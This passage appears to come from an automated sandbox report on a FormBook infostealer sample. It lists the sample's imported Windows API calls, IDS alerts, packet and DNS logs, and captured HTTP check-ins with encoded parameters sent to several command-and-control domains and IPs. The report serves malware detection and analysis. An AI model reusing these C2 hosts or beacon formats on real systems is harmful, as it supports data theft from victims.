                                              USER32.dllGetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, PeekMessageW, GetInputState, UnregisterHotKey, CharLowerBuffW, MonitorFromPoint, MonitorFromRect, LoadImageW, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, ClientToScreen, GetCursorPos, DeleteMenu, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, LockWindowUpdate, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, RegisterHotKey, GetCursorInfo, SetWindowPos, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, TrackPopupMenuEx, GetMessageW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, DispatchMessageW, keybd_event, TranslateMessage, ScreenToClient
                                              GDI32.dllEndPath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, GetDeviceCaps, SetPixel, CloseFigure, LineTo, AngleArc, MoveToEx, Ellipse, CreateCompatibleBitmap, CreateCompatibleDC, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, SelectObject, StretchBlt, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, GetDIBits, StrokePath
                                              COMDLG32.dllGetSaveFileNameW, GetOpenFileNameW
                                              ADVAPI32.dllGetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, RegCreateKeyExW, GetSecurityDescriptorDacl, GetAclInformation, GetUserNameW, AddAce, SetSecurityDescriptorDacl, InitiateSystemShutdownExW
                                              SHELL32.dllDragFinish, DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW
                                              ole32.dllCoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
                                              OLEAUT32.dllCreateStdDispatch, CreateDispTypeInfo, UnRegisterTypeLib, UnRegisterTypeLibForUser, RegisterTypeLibForUser, RegisterTypeLib, LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, VariantChangeType, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, SysStringLen, QueryPathOfRegTypeLib, SysAllocString, VariantInit, VariantClear, DispCallFunc, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, SafeArrayDestroyDescriptor, VariantCopy, OleLoadPicture

                                              Possible Origin

                                              Language of compilation systemCountry where language is spokenMap
                                              EnglishGreat Britain

                                              Network Behavior

                                              Suricata IDS Alerts

                                              TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                              2025-01-11T06:55:44.137606+01002855465ETPRO MALWARE FormBook CnC Checkin (GET) M21192.168.2.849849104.21.112.180TCP
                                              2025-01-11T06:56:34.690691+01002855465ETPRO MALWARE FormBook CnC Checkin (GET) M21192.168.2.849706161.97.142.14480TCP
                                              2025-01-11T06:56:50.495062+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.849708172.96.187.6080TCP
                                              2025-01-11T06:56:53.024969+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.849709172.96.187.6080TCP
                                              2025-01-11T06:56:55.588555+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.849710172.96.187.6080TCP
                                              2025-01-11T06:56:58.126010+01002855465ETPRO MALWARE FormBook CnC Checkin (GET) M21192.168.2.849711172.96.187.6080TCP
                                              2025-01-11T06:57:04.090884+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.849713185.199.111.15380TCP
                                              2025-01-11T06:57:06.638986+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.849731185.199.111.15380TCP
                                              2025-01-11T06:57:09.178378+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.849747185.199.111.15380TCP
                                              2025-01-11T06:57:11.755910+01002855465ETPRO MALWARE FormBook CnC Checkin (GET) M21192.168.2.849764185.199.111.15380TCP
                                              2025-01-11T06:57:18.325234+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.849794104.21.112.180TCP
                                              2025-01-11T06:57:20.872095+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.849815104.21.112.180TCP
                                              2025-01-11T06:57:23.419068+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.849831104.21.112.180TCP

                                              Network Port Distribution

                                              TCP Packets

                                              TimestampSource PortDest PortSource IPDest IP
                                              Jan 11, 2025 06:56:34.074786901 CET4970680192.168.2.8161.97.142.144
                                              Jan 11, 2025 06:56:34.079613924 CET8049706161.97.142.144192.168.2.8
                                              Jan 11, 2025 06:56:34.079688072 CET4970680192.168.2.8161.97.142.144
                                              Jan 11, 2025 06:56:34.089978933 CET4970680192.168.2.8161.97.142.144
                                              Jan 11, 2025 06:56:34.094798088 CET8049706161.97.142.144192.168.2.8
                                              Jan 11, 2025 06:56:34.690421104 CET8049706161.97.142.144192.168.2.8
                                              Jan 11, 2025 06:56:34.690448046 CET8049706161.97.142.144192.168.2.8
                                              Jan 11, 2025 06:56:34.690462112 CET8049706161.97.142.144192.168.2.8
                                              Jan 11, 2025 06:56:34.690474033 CET8049706161.97.142.144192.168.2.8
                                              Jan 11, 2025 06:56:34.690486908 CET8049706161.97.142.144192.168.2.8
                                              Jan 11, 2025 06:56:34.690690994 CET4970680192.168.2.8161.97.142.144
                                              Jan 11, 2025 06:56:34.690749884 CET4970680192.168.2.8161.97.142.144
                                              Jan 11, 2025 06:56:34.697904110 CET4970680192.168.2.8161.97.142.144
                                              Jan 11, 2025 06:56:34.702744961 CET8049706161.97.142.144192.168.2.8
                                              Jan 11, 2025 06:56:50.022826910 CET4970880192.168.2.8172.96.187.60
                                              Jan 11, 2025 06:56:50.027692080 CET8049708172.96.187.60192.168.2.8
                                              Jan 11, 2025 06:56:50.027802944 CET4970880192.168.2.8172.96.187.60
                                              Jan 11, 2025 06:56:50.042135954 CET4970880192.168.2.8172.96.187.60
                                              Jan 11, 2025 06:56:50.047072887 CET8049708172.96.187.60192.168.2.8
                                              Jan 11, 2025 06:56:50.494724989 CET8049708172.96.187.60192.168.2.8
                                              Jan 11, 2025 06:56:50.494879961 CET8049708172.96.187.60192.168.2.8
                                              Jan 11, 2025 06:56:50.495062113 CET4970880192.168.2.8172.96.187.60
                                              Jan 11, 2025 06:56:51.544459105 CET4970880192.168.2.8172.96.187.60
                                              Jan 11, 2025 06:56:52.563168049 CET4970980192.168.2.8172.96.187.60
                                              Jan 11, 2025 06:56:52.568515062 CET8049709172.96.187.60192.168.2.8
                                              Jan 11, 2025 06:56:52.570429087 CET4970980192.168.2.8172.96.187.60
                                              Jan 11, 2025 06:56:52.588301897 CET4970980192.168.2.8172.96.187.60
                                              Jan 11, 2025 06:56:52.593700886 CET8049709172.96.187.60192.168.2.8
                                              Jan 11, 2025 06:56:53.024838924 CET8049709172.96.187.60192.168.2.8
                                              Jan 11, 2025 06:56:53.024900913 CET8049709172.96.187.60192.168.2.8
                                              Jan 11, 2025 06:56:53.024969101 CET4970980192.168.2.8172.96.187.60
                                              Jan 11, 2025 06:56:54.090859890 CET4970980192.168.2.8172.96.187.60
                                              Jan 11, 2025 06:56:55.109886885 CET4971080192.168.2.8172.96.187.60
                                              Jan 11, 2025 06:56:55.114752054 CET8049710172.96.187.60192.168.2.8
                                              Jan 11, 2025 06:56:55.114892006 CET4971080192.168.2.8172.96.187.60
                                              Jan 11, 2025 06:56:55.131280899 CET4971080192.168.2.8172.96.187.60
                                              Jan 11, 2025 06:56:55.136112928 CET8049710172.96.187.60192.168.2.8
                                              Jan 11, 2025 06:56:55.136234045 CET8049710172.96.187.60192.168.2.8
                                              Jan 11, 2025 06:56:55.588293076 CET8049710172.96.187.60192.168.2.8
                                              Jan 11, 2025 06:56:55.588349104 CET8049710172.96.187.60192.168.2.8
                                              Jan 11, 2025 06:56:55.588555098 CET4971080192.168.2.8172.96.187.60
                                              Jan 11, 2025 06:56:56.637789965 CET4971080192.168.2.8172.96.187.60
                                              Jan 11, 2025 06:56:57.656747103 CET4971180192.168.2.8172.96.187.60
                                              Jan 11, 2025 06:56:57.661657095 CET8049711172.96.187.60192.168.2.8
                                              Jan 11, 2025 06:56:57.661818027 CET4971180192.168.2.8172.96.187.60
                                              Jan 11, 2025 06:56:57.671014071 CET4971180192.168.2.8172.96.187.60
                                              Jan 11, 2025 06:56:57.675904036 CET8049711172.96.187.60192.168.2.8
                                              Jan 11, 2025 06:56:58.125797033 CET8049711172.96.187.60192.168.2.8
                                              Jan 11, 2025 06:56:58.125837088 CET8049711172.96.187.60192.168.2.8
                                              Jan 11, 2025 06:56:58.126009941 CET4971180192.168.2.8172.96.187.60
                                              Jan 11, 2025 06:56:58.128712893 CET4971180192.168.2.8172.96.187.60
                                              Jan 11, 2025 06:56:58.133677959 CET8049711172.96.187.60192.168.2.8
                                              Jan 11, 2025 06:57:03.608521938 CET4971380192.168.2.8185.199.111.153
                                              Jan 11, 2025 06:57:03.613518953 CET8049713185.199.111.153192.168.2.8
                                              Jan 11, 2025 06:57:03.613630056 CET4971380192.168.2.8185.199.111.153
                                              Jan 11, 2025 06:57:03.627893925 CET4971380192.168.2.8185.199.111.153
                                              Jan 11, 2025 06:57:03.633874893 CET8049713185.199.111.153192.168.2.8
                                              Jan 11, 2025 06:57:04.072732925 CET8049713185.199.111.153192.168.2.8
                                              Jan 11, 2025 06:57:04.090770006 CET8049713185.199.111.153192.168.2.8
                                              Jan 11, 2025 06:57:04.090883970 CET4971380192.168.2.8185.199.111.153
                                              Jan 11, 2025 06:57:05.137702942 CET4971380192.168.2.8185.199.111.153
                                              Jan 11, 2025 06:57:06.157495975 CET4973180192.168.2.8185.199.111.153
                                              Jan 11, 2025 06:57:06.162271023 CET8049731185.199.111.153192.168.2.8
                                              Jan 11, 2025 06:57:06.162348986 CET4973180192.168.2.8185.199.111.153
                                              Jan 11, 2025 06:57:06.182286024 CET4973180192.168.2.8185.199.111.153
                                              Jan 11, 2025 06:57:06.188081980 CET8049731185.199.111.153192.168.2.8
                                              Jan 11, 2025 06:57:06.624865055 CET8049731185.199.111.153192.168.2.8
                                              Jan 11, 2025 06:57:06.638778925 CET8049731185.199.111.153192.168.2.8
                                              Jan 11, 2025 06:57:06.638986111 CET4973180192.168.2.8185.199.111.153
                                              Jan 11, 2025 06:57:07.684747934 CET4973180192.168.2.8185.199.111.153
                                              Jan 11, 2025 06:57:08.708544016 CET4974780192.168.2.8185.199.111.153
                                              Jan 11, 2025 06:57:08.713562012 CET8049747185.199.111.153192.168.2.8
                                              Jan 11, 2025 06:57:08.713795900 CET4974780192.168.2.8185.199.111.153
                                              Jan 11, 2025 06:57:08.733164072 CET4974780192.168.2.8185.199.111.153
                                              Jan 11, 2025 06:57:08.738123894 CET8049747185.199.111.153192.168.2.8
                                              Jan 11, 2025 06:57:08.738178015 CET8049747185.199.111.153192.168.2.8
                                              Jan 11, 2025 06:57:09.157015085 CET8049747185.199.111.153192.168.2.8
                                              Jan 11, 2025 06:57:09.178319931 CET8049747185.199.111.153192.168.2.8
                                              Jan 11, 2025 06:57:09.178378105 CET4974780192.168.2.8185.199.111.153
                                              Jan 11, 2025 06:57:10.247307062 CET4974780192.168.2.8185.199.111.153
                                              Jan 11, 2025 06:57:11.265947104 CET4976480192.168.2.8185.199.111.153
                                              Jan 11, 2025 06:57:11.270890951 CET8049764185.199.111.153192.168.2.8
                                              Jan 11, 2025 06:57:11.271008968 CET4976480192.168.2.8185.199.111.153
                                              Jan 11, 2025 06:57:11.280333042 CET4976480192.168.2.8185.199.111.153
                                              Jan 11, 2025 06:57:11.285239935 CET8049764185.199.111.153192.168.2.8
                                              Jan 11, 2025 06:57:11.742929935 CET8049764185.199.111.153192.168.2.8
                                              Jan 11, 2025 06:57:11.755793095 CET8049764185.199.111.153192.168.2.8
                                              Jan 11, 2025 06:57:11.755909920 CET4976480192.168.2.8185.199.111.153
                                              Jan 11, 2025 06:57:11.757029057 CET4976480192.168.2.8185.199.111.153
                                              Jan 11, 2025 06:57:11.761765957 CET8049764185.199.111.153192.168.2.8
                                              Jan 11, 2025 06:57:16.785810947 CET4979480192.168.2.8104.21.112.1
                                              Jan 11, 2025 06:57:16.790669918 CET8049794104.21.112.1192.168.2.8
                                              Jan 11, 2025 06:57:16.794437885 CET4979480192.168.2.8104.21.112.1
                                              Jan 11, 2025 06:57:16.814249992 CET4979480192.168.2.8104.21.112.1
                                              Jan 11, 2025 06:57:16.819174051 CET8049794104.21.112.1192.168.2.8
                                              Jan 11, 2025 06:57:18.325233936 CET4979480192.168.2.8104.21.112.1
                                              Jan 11, 2025 06:57:18.330611944 CET8049794104.21.112.1192.168.2.8
                                              Jan 11, 2025 06:57:18.330661058 CET4979480192.168.2.8104.21.112.1
                                              Jan 11, 2025 06:57:19.344068050 CET4981580192.168.2.8104.21.112.1
                                              Jan 11, 2025 06:57:19.349153042 CET8049815104.21.112.1192.168.2.8
                                              Jan 11, 2025 06:57:19.349354982 CET4981580192.168.2.8104.21.112.1
                                              Jan 11, 2025 06:57:19.364330053 CET4981580192.168.2.8104.21.112.1
                                              Jan 11, 2025 06:57:19.369460106 CET8049815104.21.112.1192.168.2.8
                                              Jan 11, 2025 06:57:20.872095108 CET4981580192.168.2.8104.21.112.1
                                              Jan 11, 2025 06:57:20.877146959 CET8049815104.21.112.1192.168.2.8
                                              Jan 11, 2025 06:57:20.877206087 CET4981580192.168.2.8104.21.112.1
                                              Jan 11, 2025 06:57:21.890897989 CET4983180192.168.2.8104.21.112.1
                                              Jan 11, 2025 06:57:21.895920038 CET8049831104.21.112.1192.168.2.8
                                              Jan 11, 2025 06:57:21.896117926 CET4983180192.168.2.8104.21.112.1
                                              Jan 11, 2025 06:57:21.912571907 CET4983180192.168.2.8104.21.112.1
                                              Jan 11, 2025 06:57:21.917495012 CET8049831104.21.112.1192.168.2.8
                                              Jan 11, 2025 06:57:21.917583942 CET8049831104.21.112.1192.168.2.8
                                              Jan 11, 2025 06:57:23.419068098 CET4983180192.168.2.8104.21.112.1
                                              Jan 11, 2025 06:57:23.424124956 CET8049831104.21.112.1192.168.2.8
                                              Jan 11, 2025 06:57:23.424257994 CET4983180192.168.2.8104.21.112.1
                                              Jan 11, 2025 06:57:24.437778950 CET4984980192.168.2.8104.21.112.1
                                              Jan 11, 2025 06:57:24.442626953 CET8049849104.21.112.1192.168.2.8
                                              Jan 11, 2025 06:57:24.442732096 CET4984980192.168.2.8104.21.112.1
                                              Jan 11, 2025 06:57:24.451792002 CET4984980192.168.2.8104.21.112.1
                                              Jan 11, 2025 06:57:24.456686974 CET8049849104.21.112.1192.168.2.8

                                              UDP Packets

                                              TimestampSource PortDest PortSource IPDest IP
                                              Jan 11, 2025 06:56:34.040999889 CET6251053192.168.2.81.1.1.1
                                              Jan 11, 2025 06:56:34.067992926 CET53625101.1.1.1192.168.2.8
                                              Jan 11, 2025 06:56:49.735496044 CET6141053192.168.2.81.1.1.1
                                              Jan 11, 2025 06:56:50.020154953 CET53614101.1.1.1192.168.2.8
                                              Jan 11, 2025 06:57:03.142909050 CET6078453192.168.2.81.1.1.1
                                              Jan 11, 2025 06:57:03.605647087 CET53607841.1.1.1192.168.2.8
                                              Jan 11, 2025 06:57:16.769355059 CET5900653192.168.2.81.1.1.1
                                              Jan 11, 2025 06:57:16.781846046 CET53590061.1.1.1192.168.2.8

                                              DNS Queries

                                              TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                              Jan 11, 2025 06:56:34.040999889 CET192.168.2.81.1.1.10xadfdStandard query (0)www.030002513.xyzA (IP address)IN (0x0001)false
                                              Jan 11, 2025 06:56:49.735496044 CET192.168.2.81.1.1.10x5f2eStandard query (0)www.mbakjisoo.siteA (IP address)IN (0x0001)false
                                              Jan 11, 2025 06:57:03.142909050 CET192.168.2.81.1.1.10x2abbStandard query (0)www.pku-cs-cjw.topA (IP address)IN (0x0001)false
                                              Jan 11, 2025 06:57:16.769355059 CET192.168.2.81.1.1.10x54ddStandard query (0)www.vilakodsiy.sbsA (IP address)IN (0x0001)false

                                              DNS Answers

                                              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                              Jan 11, 2025 06:56:34.067992926 CET1.1.1.1192.168.2.80xadfdNo error (0)www.030002513.xyz161.97.142.144A (IP address)IN (0x0001)false
                                              Jan 11, 2025 06:56:50.020154953 CET1.1.1.1192.168.2.80x5f2eNo error (0)www.mbakjisoo.sitembakjisoo.siteCNAME (Canonical name)IN (0x0001)false
                                              Jan 11, 2025 06:56:50.020154953 CET1.1.1.1192.168.2.80x5f2eNo error (0)mbakjisoo.site172.96.187.60A (IP address)IN (0x0001)false
                                              Jan 11, 2025 06:57:03.605647087 CET1.1.1.1192.168.2.80x2abbNo error (0)www.pku-cs-cjw.top187370.github.ioCNAME (Canonical name)IN (0x0001)false
                                              Jan 11, 2025 06:57:03.605647087 CET1.1.1.1192.168.2.80x2abbNo error (0)187370.github.io185.199.111.153A (IP address)IN (0x0001)false
                                              Jan 11, 2025 06:57:03.605647087 CET1.1.1.1192.168.2.80x2abbNo error (0)187370.github.io185.199.110.153A (IP address)IN (0x0001)false
                                              Jan 11, 2025 06:57:03.605647087 CET1.1.1.1192.168.2.80x2abbNo error (0)187370.github.io185.199.109.153A (IP address)IN (0x0001)false
                                              Jan 11, 2025 06:57:03.605647087 CET1.1.1.1192.168.2.80x2abbNo error (0)187370.github.io185.199.108.153A (IP address)IN (0x0001)false
                                              Jan 11, 2025 06:57:16.781846046 CET1.1.1.1192.168.2.80x54ddNo error (0)www.vilakodsiy.sbs104.21.112.1A (IP address)IN (0x0001)false
                                              Jan 11, 2025 06:57:16.781846046 CET1.1.1.1192.168.2.80x54ddNo error (0)www.vilakodsiy.sbs104.21.96.1A (IP address)IN (0x0001)false
                                              Jan 11, 2025 06:57:16.781846046 CET1.1.1.1192.168.2.80x54ddNo error (0)www.vilakodsiy.sbs104.21.64.1A (IP address)IN (0x0001)false
                                              Jan 11, 2025 06:57:16.781846046 CET1.1.1.1192.168.2.80x54ddNo error (0)www.vilakodsiy.sbs104.21.16.1A (IP address)IN (0x0001)false
                                              Jan 11, 2025 06:57:16.781846046 CET1.1.1.1192.168.2.80x54ddNo error (0)www.vilakodsiy.sbs104.21.80.1A (IP address)IN (0x0001)false
                                              Jan 11, 2025 06:57:16.781846046 CET1.1.1.1192.168.2.80x54ddNo error (0)www.vilakodsiy.sbs104.21.48.1A (IP address)IN (0x0001)false
                                              Jan 11, 2025 06:57:16.781846046 CET1.1.1.1192.168.2.80x54ddNo error (0)www.vilakodsiy.sbs104.21.32.1A (IP address)IN (0x0001)false

                                              HTTP Request Dependency Graph

                                              • www.030002513.xyz
                                              • www.mbakjisoo.site
                                              • www.pku-cs-cjw.top
                                              • www.vilakodsiy.sbs

                                              HTTP Packets

                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              0192.168.2.849706161.97.142.144801492C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exe
                                              TimestampBytes transferredDirectionData
                                              Jan 11, 2025 06:56:34.089978933 CET558OUTGET /95le/?rH=ZgllZHsiydchqBHBA1JMF+RoiwLw/ScJ/Jj32S4NIs+PSlV3776FANxFoYb4iH80r13xZ8RWQuyuUHwO/KTQyMUlugyQN01aje7Bj48jZrfS5H3hLaTfjt6ZYeyb133wug==&B0=-V3pKrJ8iBXDb830 HTTP/1.1
                                              Host: www.030002513.xyz
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Language: en-US,en
                                              Connection: close
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-P7510 Build/JDQ39; CyanogenMod-10.1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                              Jan 11, 2025 06:56:34.690421104 CET1236INHTTP/1.1 404 Not Found
                                              Server: nginx
                                              Date: Sat, 11 Jan 2025 05:56:34 GMT
                                              Content-Type: text/html; charset=utf-8
                                              Content-Length: 2966
                                              Connection: close
                                              Vary: Accept-Encoding
                                              ETag: "66cce1df-b96"
                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 [TRUNCATED]
                                              Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;color: #5d5d5d;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial,"Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol","Noto Color Emoji";text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.75);text-align: center;}h1 {font-size: 2.45em;font-weight: 700;color: #5d5d5d;letter-spacing: -0.02em;margin-bottom: 30px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}.info {color: #5594cf;fill: #5594cf;}.error [TRUNCATED]
                                              Jan 11, 2025 06:56:34.690448046 CET224INData Raw: 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 63 39 32 31 32 37 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 77 61 72 6e 69 6e 67 20 7b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 66 66 63 63 33 33 3b 0a 09 09
                                              Data Ascii: ;fill: #c92127;}.warning {color: #ffcc33;fill: #ffcc33;}.success {color: #5aba47;fill: #5aba47;}.icon-large {height: 132px;width: 132px;}.description-tex
                                              Jan 11, 2025 06:56:34.690462112 CET1236INData Raw: 74 20 7b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 37 30 37 30 37 30 3b 0a 09 09 09 09 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 30 2e 30 31 65 6d 3b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 32 35 65 6d 3b 0a 09 09 09 09 6c 69
                                              Data Ascii: t {color: #707070;letter-spacing: -0.01em;font-size: 1.25em;line-height: 20px;}.footer {margin-top: 40px;font-size: 0.7em;}.animate__delay-1s {animation-delay: 1s;}@keyframes fadeIn
                                              Jan 11, 2025 06:56:34.690474033 CET474INData Raw: 2d 32 30 2e 36 33 35 2d 34 36 2d 34 36 2d 34 36 7a 22 0a 09 09 09 09 09 09 09 3e 3c 2f 70 61 74 68 3e 0a 09 09 09 09 09 09 3c 2f 73 76 67 3e 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 68 31 20 63 6c 61 73 73 3d 22 61 6e 69 6d 61 74
                                              Data Ascii: -20.635-46-46-46z"></path></svg></div><h1 class="animate__animated animate__fadeIn">Page Not Found</h1><div class="description-text animate__animated animate__fadeIn animate__delay-1s"><p>Oops! We couldn


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              1192.168.2.849708172.96.187.60801492C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exe
                                              TimestampBytes transferredDirectionData
                                              Jan 11, 2025 06:56:50.042135954 CET816OUTPOST /s7cs/ HTTP/1.1
                                              Host: www.mbakjisoo.site
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Encoding: gzip, deflate, br
                                              Accept-Language: en-US,en
                                              Origin: http://www.mbakjisoo.site
                                              Content-Type: application/x-www-form-urlencoded
                                              Connection: close
                                              Cache-Control: max-age=0
                                              Content-Length: 203
                                              Referer: http://www.mbakjisoo.site/s7cs/
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-P7510 Build/JDQ39; CyanogenMod-10.1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
